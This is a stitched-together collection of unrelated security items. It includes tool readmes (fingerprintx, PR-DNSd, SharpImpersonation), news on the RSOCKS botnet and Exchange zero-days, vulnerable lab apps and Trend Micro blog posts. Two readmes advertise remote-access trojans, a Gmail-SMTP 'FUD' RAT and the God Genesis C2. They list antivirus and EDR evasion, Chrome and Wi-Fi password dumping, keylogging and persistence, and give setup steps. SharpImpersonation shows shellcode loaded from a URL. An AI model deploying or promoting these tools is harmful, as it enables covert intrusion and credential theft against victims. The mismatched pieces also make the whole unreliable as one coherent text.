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fingerprintx is a utility similar to httpx that also supports fingerprinting services like as RDP, SSH, MySQL, PostgreSQL, Kafka, etc. fingerprintx can be used alongside port scanners like Naabu to fingerprint a set of ports identified during a port scan. For example, an engineer may wish to scan an IP range and then rapidly fingerprint the service running on all the discovered ports.
| SERVICE | TRANSPORT | SERVICE | TRANSPORT |
|---|---|---|---|
| HTTP | TCP | REDIS | TCP |
| SSH | TCP | MQTT3 | TCP |
| MODBUS | TCP | VNC | TCP |
| TELNET | TCP | MQTT5 | TCP |
| FTP | TCP | RSYNC | TCP |
| SMB | TCP | RPC | TCP |
| DNS | TCP | OracleDB | TCP |
| SMTP | TCP | RTSP | TCP |
| PostgreSQL | TCP | MQTT5 | TCP (TLS) |
| RDP | TCP | HTTPS | TCP (TLS) |
| POP3 | TCP | SMTPS | TCP (TLS) |
| KAFKA | TCP | MQTT3 | TCP (TLS) |
| MySQL | TCP | RDP | TCP (TLS) |
| MSSQL | TCP | POP3S | TCP (TLS) |
| LDAP | TCP | LDAPS | TCP (TLS) |
| IMAP | TCP | IMAPS | TCP (TLS) |
| SNMP | UDP | Kafka | TCP (TLS) |
| OPENVPN | UDP | NETBIOS-NS | UDP |
| IPSEC | UDP | DHCP | UDP |
| STUN | UDP | NTP | UDP |
| DNS | UDP |
From Github
FreshRSS go install github.com/praetorian-inc/fingerprintx/cmd/fingerprintx@latestFrom source (go version > 1.18)
$ git clone git@github.com:praetorian-inc/fingerprintx.git
$ cd fingerprintx
# with go version > 1.18
$ go build ./cmd/fingerprintx
$ ./fingerprintx -hDocker
$ git clone git@github.com:praetorian-inc/fingerprintx.git
$ cd fingerprintx
# build
docker build -t fingerprintx .
# and run it
docker run --rm fingerprintx -h
docker run --rm fingerprintx -t praetorian.com:80 --jsonfingerprintx -hThe -h option will display all of the supported flags for fingerprintx.
Usage:
fingerprintx [flags]
TARGET SPECIFICATION:
Requires a host and port number or ip and port number. The port is assumed to be open.
HOST:PORT or IP:PORT
EXAMPLES:
fingerprintx -t praetorian.com:80
fingerprintx -l input-file.txt
fingerprintx --json -t praetorian.com:80,127.0.0.1:8000
Flags:
--csv output format in csv
-f, --fast fast mode
-h, --help help for fingerprintx
--json output format in json
-l, --list string input file containing targets
-o, --output string output file
-t, --targets strings target or comma separated target list
-w, --timeout int timeout (milliseconds) (default 500)
-U, --udp run UDP plugins
-v, --verbose verbose modeThe fast mode will only attempt to fingerprint the default service associated with that port for each target. For example, if praetorian.com:8443 is the input, only the https plugin would be run. If https is not running on praetorian.com:8443, there will be NO output. Why do this? It's a quick way to fingerprint most of the services in a large list of hosts (think the 80/20 rule).
With one target:
$ fingerprintx -t 127.0.0.1:8000
http://127.0.0.1:8000By default, the output is in the form: SERVICE://HOST:PORT. To get more detailed service output specify JSON with the --json flag:
$ fingerprintx -t 127.0.0.1:8000 --json
{"ip":"127.0.0.1","port":8000,"service":"http","transport":"tcp","metadata":{"responseHeaders":{"Content-Length":["1154"],"Content-Type":["text/html; charset=utf-8"],"Date":["Mon, 19 Sep 2022 18:23:18 GMT"],"Server":["SimpleHTTP/0.6 Python/3.10.6"]},"status":"200 OK","statusCode":200,"version":"SimpleHTTP/0.6 Python/3.10.6"}}Pipe in output from another program (like naabu):
$ naabu 127.0.0.1 -silent 2>/dev/null | fingerprintx
http://127.0.0.1:8000
ftp://127.0.0.1:21Run with an input file:
$ cat input.txt | fingerprintx
http://praetorian.com:80
telnet://telehack.com:23
# or if you prefer
$ fingerprintx -l input.txt
http://praetorian.com:80
telnet://telehack.com:23
With more metadata output:
Nmap is the standard for network scanning. Why use fingerprintx instead of nmap? The main two reasons are:
fingerprintx works smarter, not harder: the first plugin run against a server with port 8080 open is the http plugin. The default service approach cuts down scanning time in the best case. Most of the time the services running on port 80, 443, 22 are http, https, and ssh -- so that's what fingerprintx checks first.fingerprintx supports json output with the --json flag. Nmap supports numerous output options (normal, xml, grep), but they are often hard to parse and script appropriately. fingerprintx supports json output which eases integration with other tools in processing pipelines.third_party folder that imports the Go cryptography libraries? ssh fingerprinting module identifies the various cryptographic options supported by the server when collecting metadata during the handshake process. This makes use of a few unexported functions, which is why the Go cryptography libraries are included here with an export.go file.target:port input is open. If none of the ports are open there will be no output as there are no services running on the targets.zgrab2 command line usage (and use case) is slightly different than fingerprintx. For zgrab2, the protocol must be specified ahead of time: echo praetorian.com | zgrab2 http -p 8000, which assumes you already know what is running there. For fingerprintx, that is not the case: echo praetorian.com:8000 | fingerprintx. The "application layer" protocol scanning approach is very similar.fingerprintx is the work of a lot of people, including our great intern class of 2022. Here is a list of contributors so far:
A Fully Undetectable C2 Server That Communicates Via Google SMTP to evade Antivirus Protections
and Network Traffic Restrictions
This RAT communicates Via Gmail SMTP (or u can use any other smtps as well) but Gmail SMTP is valid
because most of the companies block unknown traffic so gmail traffic is valid and allowed everywhere.
1. Don't Upload Any Payloads To VirusTotal.com Bcz This tool will not work
with Time.
2. Virustotal Share Signatures With AV Comapnies.
3. Again Don't be an Idiot!
1. Create Two seperate Gmail Accounts.
2. Now enable SMTP On Both Accounts (check youtube if u don't know)
3. Suppose you have already created Two Seperate Gmail Accounts With SMTP enabled
A -> first account represents Your_1st_gmail@gmail.com
B -> 2nd account represents your_2nd_gmail@gmail.com
4. Now Go To server.py file and fill the following at line 67:
smtpserver="smtp.gmail.com" (don't change this)
smtpuser="Your_1st_gmail@gmail.com"
smtpkey="your_1st_gmail_app_password"
imapserver="imap.gmail.com" (don't change this)
imapboy="your_2nd_gmail@gmail.com"
5. Now Go To client.py file and fill the following at line 16:
imapserver = "imap.gmail.com" (dont change this)
username = "your_2nd_gmail@gmail.com"
password = "your2ndgmailapp password"
getting = "Your_1st_gmail@gmail.com"
smtpserver = "smtp.gmail.com" (don 't change this)
6. Enjoy
*:- For Windows:-
1. Make Sure python3 and pip is installed and requriements also installed
2. python server.py (on server side)
*:- For Linux:-
1. Make Sure All Requriements is installed.
2. python3 server.py (on server side)
1) Persistence (type persist)
2) Shell Access
3) System Info (type info)
4) More Features Will Be Added
1) FUD Ratio 0/40
2) Bypass Any EDR's Solutions
3) Bypass Any Network Restrictions
4) Commands Are Being Sent in Base64 And Decoded on server side
5) No More Tcp Shits
Use this tool Only for Educational Purpose And I will Not be Responsible For ur cruel act.
Denis Emelyantsev, a 36-year-old Russian man accused of running a massive botnet called RSOCKS that stitched malware into millions of devices worldwide, pleaded guilty to two counts of computer crime violations in a California courtroom this week. The plea comes just months after Emelyantsev was extradited from Bulgaria, where he told investigators, “America is looking for me because I have enormous information and they need it.”
A copy of the passport for Denis Emelyantsev, a.k.a. Denis Kloster, as posted to his Vkontakte page in 2019.
First advertised in the cybercrime underground in 2014, RSOCKS was the web-based storefront for hacked computers that were sold as “proxies” to cybercriminals looking for ways to route their Web traffic through someone else’s device.
Customers could pay to rent access to a pool of proxies for a specified period, with costs ranging from $30 per day for access to 2,000 proxies, to $200 daily for up to 90,000 proxies.
Many of the infected systems were Internet of Things (IoT) devices, including industrial control systems, time clocks, routers, audio/video streaming devices, and smart garage door openers. Later in its existence, the RSOCKS botnet expanded into compromising Android devices and conventional computers.
In June 2022, authorities in the United States, Germany, the Netherlands and the United Kingdom announced a joint operation to dismantle the RSOCKS botnet. But that action did not name any defendants.
Inspired by that takedown, KrebsOnSecurity followed clues from the RSOCKS botnet master’s identity on the cybercrime forums to Emelyantsev’s personal blog, where he went by the name Denis Kloster. The blog featured musings on the challenges of running a company that sells “security and anonymity services to customers around the world,” and even included a group photo of RSOCKS employees.
“Thanks to you, we are now developing in the field of information security and anonymity!,” Kloster’s blog enthused. “We make products that are used by thousands of people around the world, and this is very cool! And this is just the beginning!!! We don’t just work together and we’re not just friends, we’re Family.”
But by the time that investigation was published, Emelyantsev had already been captured by Bulgarian authorities responding to an American arrest warrant. At his extradition hearing, Emelyantsev claimed he would prove his innocence in an U.S. courtroom.
“I have hired a lawyer there and I want you to send me as quickly as possible to clear these baseless charges,” Emelyantsev told the Bulgarian court. “I am not a criminal and I will prove it in an American court.”
RSOCKS, circa 2016. At that time, RSOCKS was advertising more than 80,000 proxies. Image: archive.org.
Emelyantsev was far more than just an administrator of a large botnet. Behind the facade of his Internet advertising company based in Omsk, Russia, the RSOCKS botmaster was a major player in the Russian email spam industry for more than a decade.
Some of the top Russian cybercrime forums have been hacked over the years, and leaked private messages from those forums show the RSOCKS administrator claimed ownership of the RUSdot spam forum. RUSdot is the successor forum to Spamdot, a far more secretive and restricted community where most of the world’s top spammers, virus writers and cybercriminals collaborated for years before the forum imploded in 2010.
A Google-translated version of the Rusdot spam forum.
Indeed, the very first mentions of RSOCKS on any Russian-language cybercrime forums refer to the service by its full name as the “RUSdot Socks Server.”
Email spam — and in particular malicious email sent via compromised computers — is still one of the biggest sources of malware infections that lead to data breaches and ransomware attacks. So it stands to reason that as administrator of Russia’s most well-known forum for spammers, Emelyantsev probably knows quite a bit about other top players in the botnet spam and malware community.
It remains unclear whether Emelyantsev made good on his promise to spill that knowledge to American investigators as part of his plea deal. The case is being prosecuted by the U.S. Attorney’s Office for the Southern District of California, which has not responded to a request for comment.
Emelyantsev pleaded guilty on Monday to two counts, including damage to protected computers and conspiracy to damage protected computers. He faces a maximum of 20 years in prison, and is currently scheduled to be sentenced on April 27, 2023.
Vulnerable client-server application (VuCSA) is made for learning/presenting how to perform penetration tests of non-http thick clients. It is written in Java (with JavaFX graphical user interface).
Currently the vulnerable application contains the following challenges:
If you want to know how to solve these challenges, take a look at the PETEP website, which describes how to use the open-source tool PETEP to exploit them.
Tip: Before you start hacking, do not forget to check the data structure of messages bellow.
In order to run the vulnerable server and client, you can use one of releases on GitHub or run gradle assemble, which creates distribution packages (for both Windows and Unix). These packages contain sh/bat scripts that will run the server and client using JVM.
Project is divided into three modules:
Messages transmitted between server and client have the following simple format:
[type][target][length][payload]
32b 32b 32b ???
These four parts have the following meaning:
God Genesis is a C2 server purely coded in Python3 created to help Red Teamers and Penetration Testers. Currently It only supports TCP reverse shell but wait a min, its a FUD and can give u admin shell from any targeted WINDOWS Machine.
The List Of Commands It Supports :-
===================================================================================================
BASIC COMMANDS:
===================================================================================================
help --> Show This Options
terminate --> Exit The Shell Completely
exit --> Shell Works In Background And Prompted To C2 Server
clear --> Clear The Previous Outputs
===================================================================================================
SYSTEM COMMANDS:
===================================================================================================
cd --& gt; Change Directory
pwd --> Prints Current Working Directory
mkdir *dir_name* --> Creates A Directory Mentioned
rm *dir_name* --> Deletes A Directoty Mentioned
powershell [command] --> Run Powershell Command
start *exe_name* --> Start Any Executable By Giving The Executable Name
===================================================================================================
INFORMATION GATHERING COMMANDS:
===================================================================================================
env --> Checks Enviornment Variables
sc --> Lists All Services Running
user --> Current User
info --> Gives Us All Information About Compromised System
av --> Lists All antivirus In Compromised System
===================================================================================================
DATA EXFILTRATION COMMANDS:
===================================================================================================
download *file_name* --> Download Files From Compromised System
upload *file_name* --> Uploads Files To Victim Pc
===================================================================================================
EXPLOITATION COMMANDS:
========================================================== =========================================
persistence1 --> Persistance Via Method 1
persistence2 --> Persistance Via Method 2
get --> Download Files From Any URL
chrome_pass_dump --> Dump All Stored Passwords From Chrome Bowser
wifi_password --> Dump Passwords Of All Saved Wifi Networks
keylogger --> Starts Key Logging Via Keylogger
dump_keylogger --> Dump All Logs Done By Keylogger
python_install --> Installs Python In Victim Pc Without UI
Check The Video To Get A Detail Knowledge
1. The Payload.py is a FULLY UNDETECTABLE(FUD) use your own techniques for making an exe file. (Best Result When Backdoored With Some Other Legitimate Applictions)
2. Able to perform privilege escalation on any windows systems.
3. Fud keylogger
4. 2 ways of achieving persistance
5. Recon automation to save your time.
How To Use Our Tool :
git clone https://github.com/SaumyajeetDas/GodGenesis.git
pip3 install -r requirements.txt
python3 c2c.py
It is worth mentioning that Suman Chakraborty have contributed in the framework by coding the the the Fud Keyloger, Wifi Password Extraction and Chrome Password Dumper modules.
Dont Forget To Change The IP ADDRESS Manually in both c2c.py and payload.py
Erlik 2 - Vulnerable-Flask-App
Tested - Kali 2022.1
It is a vulnerable Flask Web App. It is a lab environment created for people who want to improve themselves in the field of web penetration testing.
It contains the following vulnerabilities.
git clone https://github.com/anil-yelken/Vulnerable-Flask-App
cd Vulnerable-Flask-App
sudo pip3 install -r requirements.txt
python3 vulnerable-flask-app.py
https://twitter.com/anilyelken06
https://medium.com/@anilyelken
Microsoft Corp. is investigating reports that attackers are exploiting two previously unknown vulnerabilities in Exchange Server, a technology many organizations rely on to send and receive email. Microsoft says it is expediting work on software patches to plug the security holes. In the meantime, it is urging a subset of Exchange customers to enable a setting that could help mitigate ongoing attacks.
In customer guidance released Thursday, Microsoft said it is investigating two reported zero-day flaws affecting Microsoft Exchange Server 2013, 2016, and 2019. CVE-2022-41040, is a Server-Side Request Forgery (SSRF) vulnerability that can enable an authenticated attacker to remotely trigger the second zero-day vulnerability — CVE-2022-41082 — which allows remote code execution (RCE) when PowerShell is accessible to the attacker.
Microsoft said Exchange Online has detections and mitigation in place to protect customers. Customers using on-premises Microsoft Exchange servers are urged to review the mitigations suggested in the security advisory, which Microsoft says should block the known attack patterns.
Vietnamese security firm GTSC on Thursday published a writeup on the two Exchange zero-day flaws, saying it first observed the attacks in early August being used to drop “webshells.” These web-based backdoors offer attackers an easy-to-use, password-protected hacking tool that can be accessed over the Internet from any browser.
“We detected webshells, mostly obfuscated, being dropped to Exchange servers,” GTSC wrote. “Using the user-agent, we detected that the attacker uses Antsword, an active Chinese-based opensource cross-platform website administration tool that supports webshell management. We suspect that these come from a Chinese attack group because the webshell codepage is 936, which is a Microsoft character encoding for simplified Chinese.”
GTSC’s advisory includes details about post-compromise activity and related malware, as well as steps it took to help customers respond to active compromises of their Exchange Server environment. But the company said it would withhold more technical details of the vulnerabilities for now.
In March 2021, hundreds of thousands of organizations worldwide had their email stolen and multiple backdoor webshells installed, all thanks to four zero-day vulnerabilities in Exchange Server.
Granted, the zero-day flaws that powered that debacle were far more critical than the two detailed this week, and there are no signs yet that exploit code has been publicly released (that will likely change soon). But part of what made last year’s Exchange Server mass hack so pervasive was that vulnerable organizations had little or no advance notice on what to look for before their Exchange Server environments were completely owned by multiple attackers.
Microsoft is quick to point out that these zero-day flaws require an attacker to have a valid username and password for an Exchange user, but this may not be such a tall order for the hackers behind these latest exploits against Exchange Server.
Steven Adair is president of Volexity, the Virginia-based cybersecurity firm that was among the first to sound the alarm about the Exchange zero-days targeted in the 2021 mass hack. Adair said GTSC’s writeup includes an Internet address used by the attackers that Volexity has tied with high confidence to a China-based hacking group that has recently been observed phishing Exchange users for their credentials.
In February 2022, Volexity warned that this same Chinese hacking group was behind the mass exploitation of a zero-day vulnerability in the Zimbra Collaboration Suite, which is a competitor to Microsoft Exchange that many enterprises use to manage email and other forms of messaging.
If your organization runs Exchange Server, please consider reviewing the Microsoft mitigations and the GTSC post-mortem on their investigations.
This was a learning by doing project from my side. Well known techniques are used to built just another impersonation tool with some improvements in comparison to other public tools. The code base was taken from:
A blog post for the intruduction can be found here:
PS > PS C:\temp> SharpImpersonation.exe list
PS > PS C:\temp> SharpImpersonation.exe list elevated
PS > PS C:\temp> SharpImpersonation.exe user:<user> binary:<binary-Path>
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<base64shellcode>
PS > PS C:\temp> SharpImpersonation.exe user:<user> shellcode:<URL>
PS > PS C:\temp> SharpImpersonation.exe user:<user> technique:ImpersonateLoggedOnuser
Erlik - Vulnerable Soap Service
Tested - Kali 2022.1
It is a vulnerable SOAP web service. It is a lab environment created for people who want to improve themselves in the field of web penetration testing.
It contains the following vulnerabilities.
git clone https://github.com/anil-yelken/Vulnerable-Soap-Service
cd Vulnerable-Soap-Service
sudo pip3 install requirements.txt
sudo python3 vulnerable_soap.py
Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/lfi.py
Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/sqli.py
Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/get_logs_information_disclosure.py
Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/get_data_information_disclosure.py
Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/commandi.py
Code:https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/brute.py
Code:
https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/deserialization_socket.py
https://github.com/anil-yelken/Vulnerable-Soap-Service/blob/main/deserialization_requests.py
Passive-Recursive DNS daemon.
go get github.com/korc/PR-DNSd
sudo setcap cap_net_bind_service,cap_sys_chroot=ep go/bin/PR-DNSd
go/bin/PR-DNSd -upstream 9.9.9.9:53 -listen 127.0.0.1:53
echo nameserver 127.0.0.1 | sudo tee /etc/resolv.conf
dig google.com
dig -x $(dig +short google.com)If you can't use setcap, you have to use -chroot "" and -listen :<high_port> options, or run as root.
netstat/tcpview/lsof etc. outputAfter appropriate setcap, run:
PR-DNSd -tlslisten :853 -cert YOUR_SERVER_CRT_KEY_PEM -upstream 1.1.1.1:53 -store pr-dnsd-cert string
TCP-TLS listener certificate (required for tls listener)
-chroot string
chroot to directory after start (default "/var/tmp")
-count int
Count of replies allowed before debounce delay is applied (default 100)
-ctmout string
Client timeout for upstream queries
-debounce string
Required time duration between UDP replies to single IP to prevent DoS (default "200ms")
-key string
TCP-TLS certificate key (default same as -cert value)
-listen string
listen address (default ":53")
-silent
Don't report normal data
-store string
Store PTR data to specified file
-tlslisten string
TCP-TLS listener address (default ":853")
-upstream string
upstream DNS serv er (tcp-tls:// prefix for DoT) (default "1.1.1.1:53")
(with tls and chroot, ensure ca-certificates and resolv.conf in chroot are properly set up)
Trend Micro Research has developed a go-to resource for all things related to cybercriminal underground hosting and infrastructure. Today we released the second in this three-part series of reports which detail the what, how, and why of cybercriminal hosting (see the first part here).
As part of this report, we dive into the common life cycle of a compromised server from initial compromise to the different stages of monetization preferred by criminals. It’s also important to note that regardless of whether a company’s server is on-premise or cloud-based, criminals don’t care what kind of server they compromise.
To a criminal, any server that is exposed or vulnerable is fair game.
Cloud vs. On-Premise Servers
Cybercriminals don’t care where servers are located. They can leverage the storage space, computation resources, or steal data no matter what type of server they access. Whatever is most exposed will most likely be abused.
As digital transformation continues and potentially picks up to allow for continued remote working, cloud servers are more likely to be exposed. Many enterprise IT teams, unfortunately, are not arranged to provide the same protection for cloud as on-premise servers.
As a side note, we want to emphasize that this scenario applies only to cloud instances replicating the storage or processing power of an on-premise server. Containers or serverless functions won’t fall victim to this same type of compromise. Additionally, if the attacker compromises the cloud account, as opposed to a single running instance, then there is an entirely different attack life cycle as they can spin up computing resources at will. Although this is possible, however, it is not our focus here.
Attack Red Flags
Many IT and security teams might not look for earlier stages of abuse. Before getting hit by ransomware, however, there are other red flags that could alert teams to the breach.
If a server is compromised and used for cryptocurrency mining (also known as cryptomining), this can be one of the biggest red flags for a security team. The discovery of cryptomining malware running on any server should result in the company taking immediate action and initiating an incident response to lock down that server.
This indicator of compromise (IOC) is significant because while cryptomining malware is often seen as less serious compared to other malware types, it is also used as a monetization tactic that can run in the background while server access is being sold for further malicious activity. For example, access could be sold for use as a server for underground hosting. Meanwhile, the data could be exfiltrated and sold as personally identifiable information (PII) or for industrial espionage, or it could be sold for a targeted ransomware attack. It’s possible to think of the presence of cryptomining malware as the proverbial canary in a coal mine: This is the case, at least, for several access-as-a-service (AaaS) criminals who use this as part of their business model.
Attack Life Cycle
Attacks on compromised servers follow a common path:
|
|
The monetization lifecycle of a compromised server
Often, targeted ransomware is the final stage. In most cases, asset categorization reveals data that is valuable to the business but not necessarily valuable for espionage.
A deep understanding of the servers and network allows criminals behind a targeted ransomware attack to hit the company where it hurts the most. These criminals would know the dataset, where they live, whether there are backups of the data, and more. With such a detailed blueprint of the organization in their hands, cybercriminals can lock down critical systems and demand higher ransom, as we saw in our 2020 midyear security roundup report.
In addition, while a ransomware attack would be the visible urgent issue for the defender to solve in such an incident, the same attack could also indicate that something far more serious has likely already taken place: the theft of company data, which should be factored into the company’s response planning. More importantly, it should be noted that once a company finds an IOC for cryptocurrency, stopping the attacker right then and there could save them considerable time and money in the future.
Ultimately, no matter where a company’s data is stored, hybrid cloud security is critical to preventing this life cycle.
The post The Life Cycle of a Compromised (Cloud) Server appeared first on .
If the first few months of 2020 have taught us anything, it’s the importance of collaboration and partnership to tackle a common enemy. This is true of efforts to fight the current pandemic, and it’s also true of the fight against cybercrime. That’s why Trend Micro has, over the years, struck partnerships with various organizations that share a common goal of securing our connected world.
So when we heard that one of these partners, the non-profit Shadowserver Foundation, was in urgent need of financial help, we didn’t hesitate to step in. Our new $600,000 commitment over three years will help to support the vital work it does collecting and sharing global threat data for the next three years.
What is Shadowserver?
Founded in 2004, The Shadowserver Foundation is now one of the world’s leading resources for reporting vulnerabilities, threats and malicious activity. Their work has helped to pioneer a more collaborative approach among the international cybersecurity community, from vendors and academia to governments and law enforcement.
Today, its volunteers, 16 full-time staff and global infrastructure of sinkholes, honeypots and honeyclients help run 45 scans across 4 billion IPv4 addresses every single day. It also performs daily sandbox scans on 713,000 unique malware samples, to add to the 12 Petabytes of malware and threat intelligence already stored on its servers. Thousands of network owners, including 109 CSIRTS in 138 countries worldwide, rely on the resulting daily reports — which are available free of charge to help make the digital world a safer place.
A Global Effort
Trend Micro is a long-time partner of The Shadowserver Foundation. We automatically share new malware samples via its malware exchange program, with the end goal of improving protection for both Trend Micro customers and Shadowserver subscribers around the world. Not only that, but we regularly collaborate on global law enforcement-led investigations. Our vision and mission statements of working towards a more secure, connected world couldn’t be more closely aligned.
As COVID-19 has brutally illustrated, protecting one’s own backyard is not enough to tackle a global challenge. Instead, we need to reach out and build alliances to take on the threats and those behind them, wherever they are. These are even more pronounced at a time when remote working has dramatically expanded the corporate attack surface, and offered new opportunities for the black hats to prosper by taking advantage of distracted employees and stretched security teams.
The money Trend Micro has donated over the next three years will help the Shadowserver Foundation migrate to the new data center it urgently needs and support operational costs that combined will exceed $2 million in 2020. We wish the team well with their plans for this year.
It’s no exaggeration to say that our shared digital world is a safer place today because of their efforts, and we hope to continue to collaborate long into the future
The post Securing the Connected World with Support for The Shadowserver Foundation appeared first on .
By Kyle Klassen Product Manager – Cloud Native Application Security at Trend Micro
Containers provide many great benefits to organizations – they’re lightweight, flexible, add consistency across different environments and scale easily.
One of the characteristics of containers is that they run in dedicated namespaces with isolated resource requirements. General purpose OS’s deployed to run containers might be viewed as overkill since many of their features and interfaces aren’t needed.
A key tenant in the cybersecurity doctrine is to harden platforms by exposing only the fewest number of interfaces and applying the tightest configurations required to run only the required operations.
Developers deploying containers to restricted platforms or “serverless” containers to the likes of AWS Fargate for example, should think about security differently – by looking upward, looking left and also looking all-around your cloud domain for opportunities to properly security your cloud native applications. Oh, and don’t forget to look outside. Let me explain…
Looking Upward
As infrastructure, OS, container orchestration and runtimes become the domain of the cloud provider, the user’s primary responsibility becomes securing the containers and applications themselves. This is where Trend Micro Cloud One, a security services platform for cloud builders, can help Dev and Ops teams better implement build pipeline and runtime security requirements. Cloud One – Application Security embeds a security library within the application itself to provide defense against web application attacks and to detect malicious activity.
One of the greatest benefits of this technology is that once an application is secured in this manner, it can be deployed anywhere and the protection comes along for the ride. Users can be confident their applications are secure whether deployed in a container on traditional hosts, into EKS on AWS Bottlerocket, serverless on AWS Fargate, or even as an AWS Lambda function!
Looking Left
It’s great that cloud providers are taking security seriously and providing increasingly secure environments within which to deploy your containers. But you need to make sure your containers themselves are not introducing security risks. This can be accomplished with container image scanning to identify security issues before these images ever make it to the production environment.
Enter Deep Security Smart Check – Container Image Scanning part of the Cloud One offering. Scans must be able to detect more than just vulnerabilities. Developer reliance on code re-use, public images, and 3rd party contributions mean that malware injection into private images is a real concern. Sensitive objects like secrets, keys and certificates must be found and removed and assurance against regulatory requirements like PCI, HIPAA or NIST should be a requirement before a container image is allowed to run.
Looking All-Around
Imagine taking the effort to ensure your applications, containers and functions are built securely, comply with strict security regulations and are deployed into container optimized cloud environments only to find out that you’ve still become a victim of an attack! How could this be? Well, one common oversight is recognizing the importance of disciplined configuration and management of the cloud resources themselves – you can’t assume they’re secure just because they’re working.
But, making sure your cloud services are secure can be a daunting task – likely comprised of dozens of cloud services, each with as many configuration options – these environments are complex. Cloud One – Conformity is your cloud security companion and gives you assurance that any hidden security issues with your cloud configurations are detected and prioritized. Disabled security options, weak keys, open permissions, encryption options, high-risk exposures and many, many more best practice security rules make it easy to conform to security best practices and get the most from your cloud provider services.
Look Outside
All done? Not quite. You also need to think about how the business workflows of your cloud applications ingest files (or malware?). Cloud storage like S3 Buckets are often used to accept files from external customers and partners. Blindly accepting uploads and pulling them into your workflows is an open door for attack.
Cloud One – File Storage Security incorporates Trend Micro’s best-in-class malware detection technology to identify and remove files infected with malware. As a cloud native application itself, the service deploys easily with deployment templates and runs as a ‘set and forget’ service – automatically scanning new files of any type, any size and automatically removing malware so you can be confident that all of your downstream workflows are protected.
It’s still about Shared Responsibility
Cloud providers will continue to offer security features for deploying cloud native applications – and you should embrace all of this capability. However, you can’t assume your cloud environment is optimally secure without validating your configurations. And once you have a secure environment, you need to secure all of the components within your control – your functions, applications, containers and workflows. With this practical approach, Trend Micro Cloud One perfectly complements your cloud services with Network Security, Workload Security, Application Security, Container Security, File Storage Security and Conformity for cloud posture management, so you can be confident that you’ve got security covered no matter which way you look.
To learn more visit Trendmicro.com/CloudOne and join our webinar on cloud native application threats https://resources.trendmicro.com/Cloud-One-Webinar-Series-Cloud-Native-Application-Threats.html
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